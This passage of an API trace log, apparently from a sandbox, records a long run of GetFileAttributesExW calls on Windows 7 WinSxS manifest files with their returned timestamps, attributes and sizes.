	[0106.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wfpipsechelperclasses_31bf3856ad364e35_6.1.7601.17514_none_d0c392d2129a680a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wfpipsechelperclasses_31bf3856ad364e35_6.1.7601.17514_none_d0c392d2129a680a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e008 | out: lpFileInformation=0x12a2e008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9de8, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x499c9de8, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x499eff49, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1fd5)) returned 1
	[0106.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wfplwf_31bf3856ad364e35_6.1.7600.16385_none_581185b3683f7a8f.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wfplwf_31bf3856ad364e35_6.1.7600.16385_none_581185b3683f7a8f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e058 | out: lpFileInformation=0x12a2e058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e65aac8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7e65aac8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x4c8e8283, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xc08)) returned 1
	[0106.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-whea-troubleshooter_31bf3856ad364e35_6.1.7600.16385_none_124dff546524b2a8.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-whea-troubleshooter_31bf3856ad364e35_6.1.7600.16385_none_124dff546524b2a8.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e0a8 | out: lpFileInformation=0x12a2e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83f77b63, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xc85bf94, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x8c46e114, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xc33c)) returned 1
	[0106.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-where.resources_31bf3856ad364e35_6.1.7600.16385_en-us_58f669127eabf22d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-where.resources_31bf3856ad364e35_6.1.7600.16385_en-us_58f669127eabf22d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e0f8 | out: lpFileInformation=0x12a2e0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cd4b77, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf4364343, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf3cd4b77, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x873)) returned 1
	[0106.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-where_31bf3856ad364e35_6.1.7600.16385_none_b9c82ac6f7db99ae.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-where_31bf3856ad364e35_6.1.7600.16385_none_b9c82ac6f7db99ae.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e148 | out: lpFileInformation=0x12a2e148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8488ae8c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x156cd364, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xdffae5b, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x9d5)) returned 1
	[0106.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-whhelper.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9e36f97a9f4585d7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-whhelper.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9e36f97a9f4585d7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e198 | out: lpFileInformation=0x12a2e198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b4b390, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf5273640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf4b4b390, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x893)) returned 1
	[0106.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-whhelper_31bf3856ad364e35_6.1.7600.16385_none_cd45cdb157033fa0.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-whhelper_31bf3856ad364e35_6.1.7600.16385_none_cd45cdb157033fa0.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e1e8 | out: lpFileInformation=0x12a2e1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc67f4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xbcbcc6c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x5a9f0f04, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xac4)) returned 1
	[0106.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-whoami.resources_31bf3856ad364e35_6.1.7600.16385_en-us_cb28c86f28d65ec7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-whoami.resources_31bf3856ad364e35_6.1.7600.16385_en-us_cb28c86f28d65ec7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e238 | out: lpFileInformation=0x12a2e238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf197e632, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf20340b7, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf197e632, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x878)) returned 1
	[0106.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-whoami_31bf3856ad364e35_6.1.7600.16385_none_2a716ffd9b872f68.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-whoami_31bf3856ad364e35_6.1.7600.16385_none_2a716ffd9b872f68.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e288 | out: lpFileInformation=0x12a2e288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84818a75, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x1132809c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x92803341, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x9bc)) returned 1
	[0106.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wia-automation_31bf3856ad364e35_6.1.7600.16385_none_61674587dd8f679e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wia-automation_31bf3856ad364e35_6.1.7600.16385_none_61674587dd8f679e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e2d8 | out: lpFileInformation=0x12a2e2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14dc5c75, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19d20f84, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x14f68b74, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xc18c)) returned 1
	[0106.426] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wimgapi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_754c85adda333570.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wimgapi.resources_31bf3856ad364e35_6.1.7600.16385_en-us_754c85adda333570.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e328 | out: lpFileInformation=0x12a2e328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b1942a, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf6884934, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf5b1942a, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x756)) returned 1
	[0106.426] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wimgapi_31bf3856ad364e35_6.1.7600.16385_none_e4f094112e8f905d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wimgapi_31bf3856ad364e35_6.1.7600.16385_none_e4f094112e8f905d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e378 | out: lpFileInformation=0x12a2e378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baf26e9, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9ffb120, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4c4e3db4, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x15be)) returned 1
	[0106.426] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-win32k-settings_31bf3856ad364e35_6.1.7600.16385_none_0d3074491c015351.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-win32k-settings_31bf3856ad364e35_6.1.7600.16385_none_0d3074491c015351.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e3c8 | out: lpFileInformation=0x12a2e3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eaab251, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7eaab251, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7cdd2ee6, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x10d67)) returned 1
	[0106.426] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-win32k.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a959af1877ef6c96.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-win32k.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a959af1877ef6c96.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e418 | out: lpFileInformation=0x12a2e418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c88605, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf3c88605, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x94c)) returned 1
	[0106.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-win32k_31bf3856ad364e35_6.1.7601.17514_none_17197f29b1265401.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-win32k_31bf3856ad364e35_6.1.7601.17514_none_17197f29b1265401.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e468 | out: lpFileInformation=0x12a2e468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76054a05, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x76054a05, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x760a0cc6, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xa46a)) returned 1
	[0106.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-win32subsystem_31bf3856ad364e35_6.1.7600.16385_none_daa64a0a669c4745.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-win32subsystem_31bf3856ad364e35_6.1.7600.16385_none_daa64a0a669c4745.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e4b8 | out: lpFileInformation=0x12a2e4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81b9d2d6, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x81b9d2d6, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7cdf9043, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x2a4)) returned 1
	[0106.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winbio.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f7cfb58904f20330.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winbio.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f7cfb58904f20330.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e508 | out: lpFileInformation=0x12a2e508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91855ef, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf91855ef, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x938)) returned 1
	[0106.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wincal-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_719a799bd7c094a5.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wincal-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_719a799bd7c094a5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e558 | out: lpFileInformation=0x12a2e558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe9ca1bf, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfe9ca1bf, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x990)) returned 1
	[0106.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wincal-adm_31bf3856ad364e35_6.1.7600.16385_none_793f2aa0e2c738e8.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wincal-adm_31bf3856ad364e35_6.1.7600.16385_none_793f2aa0e2c738e8.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e5a8 | out: lpFileInformation=0x12a2e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x408b2127, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x7dfe7afc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x408d8284, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xabd)) returned 1
	[0106.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowscodec_31bf3856ad364e35_6.1.7601.17514_none_f4a7bce9b7bda83c.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowscodec_31bf3856ad364e35_6.1.7601.17514_none_f4a7bce9b7bda83c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e5f8 | out: lpFileInformation=0x12a2e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a260bb, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x81a260bb, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x81a4c21c, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1653a)) returned 1
	[0106.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowscodecext_31bf3856ad364e35_6.1.7600.16385_none_ef86be13d2568109.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowscodecext_31bf3856ad364e35_6.1.7600.16385_none_ef86be13d2568109.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e648 | out: lpFileInformation=0x12a2e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b16cfa9, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8b16cfa9, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x4cf199a1, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x31bd)) returned 1
	[0106.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowscolorsystem-adm_31bf3856ad364e35_6.1.7600.16385_none_f0556db6185e1bb7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowscolorsystem-adm_31bf3856ad364e35_6.1.7600.16385_none_f0556db6185e1bb7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e698 | out: lpFileInformation=0x12a2e698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e74a2d4, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x7dc7a303, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x5e770431, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xbbe)) returned 1
	[0106.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowsconnectnow-adm_31bf3856ad364e35_6.1.7600.16385_none_8fd43e96f3452405.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowsconnectnow-adm_31bf3856ad364e35_6.1.7600.16385_none_8fd43e96f3452405.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e6e8 | out: lpFileInformation=0x12a2e6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa66dd9d9, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x7e05a249, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa6703b36, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xae9)) returned 1
	[0106.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowsdefender-adm_31bf3856ad364e35_6.1.7600.16385_none_8b1ab23c48f41038.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowsdefender-adm_31bf3856ad364e35_6.1.7600.16385_none_8b1ab23c48f41038.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e738 | out: lpFileInformation=0x12a2e738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79301243, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x7dd38f2e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x793273a0, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xae1)) returned 1
	[0106.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowsexplorer-adm_31bf3856ad364e35_6.1.7600.16385_none_4c5bc898cf89bb26.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowsexplorer-adm_31bf3856ad364e35_6.1.7600.16385_none_4c5bc898cf89bb26.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e788 | out: lpFileInformation=0x12a2e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89683df7, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x7df9b61e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8978e782, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xae1)) returned 1
	[0106.430] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowsfirewall-adm_31bf3856ad364e35_6.1.7600.16385_none_e6508032a8d2c091.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowsfirewall-adm_31bf3856ad364e35_6.1.7600.16385_none_e6508032a8d2c091.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e7d8 | out: lpFileInformation=0x12a2e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2604641, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x7dedc9f3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x262a79e, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xae1)) returned 1
	[0106.430] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowsmedia-codecs_31bf3856ad364e35_6.1.7601.17514_none_8ca5deed7f6e88d6.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowsmedia-codecs_31bf3856ad364e35_6.1.7601.17514_none_8ca5deed7f6e88d6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e828 | out: lpFileInformation=0x12a2e828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9646cf9c, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x9646cf9c, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x964930fc, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x12dd)) returned 1
	[0106.430] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowsmedia-drm_31bf3856ad364e35_6.1.7601.17514_none_61dab7156f848c3c.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowsmedia-drm_31bf3856ad364e35_6.1.7601.17514_none_61dab7156f848c3c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e878 | out: lpFileInformation=0x12a2e878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x963fab7b, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x963fab7b, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x96420cdb, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x435)) returned 1
	[0106.430] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowsmediadrm-adm_31bf3856ad364e35_6.1.7600.16385_none_0b447ce583a5f8fe.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowsmediadrm-adm_31bf3856ad364e35_6.1.7600.16385_none_0b447ce583a5f8fe.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e8c8 | out: lpFileInformation=0x12a2e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf60b1467, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x1cee4eac, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf60d75c4, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xae1)) returned 1
	[0106.431] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowsmediaplayer-adm_31bf3856ad364e35_6.1.7600.16385_none_cc71ea8336ec7782.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowsmediaplayer-adm_31bf3856ad364e35_6.1.7600.16385_none_cc71ea8336ec7782.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e918 | out: lpFileInformation=0x12a2e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad982f2, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x1c8a2e34, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xdadbe44f, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xaed)) returned 1
	[0106.431] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowsmediasamples_31bf3856ad364e35_6.1.7600.16385_none_96d3896e48aee631.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowsmediasamples_31bf3856ad364e35_6.1.7600.16385_none_96d3896e48aee631.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e968 | out: lpFileInformation=0x12a2e968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2156c1fb, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x1cdb3c4c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x727cbd7a, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x6f0)) returned 1
	[0106.431] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowsmessenger-adm_31bf3856ad364e35_6.1.7600.16385_none_dd951832e07a56ec.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowsmessenger-adm_31bf3856ad364e35_6.1.7600.16385_none_dd951832e07a56ec.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2e9b8 | out: lpFileInformation=0x12a2e9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb9778ad, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x7dfe7afc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xbb99da0a, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xae5)) returned 1
	[0106.431] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-windowsupdate-adm_31bf3856ad364e35_7.5.7601.17514_none_dbc5ca952f723f2d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-windowsupdate-adm_31bf3856ad364e35_7.5.7601.17514_none_dbc5ca952f723f2d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2ea08 | out: lpFileInformation=0x12a2ea08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e58fa09, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x7dceca50, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e5dbcca, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xad9)) returned 1
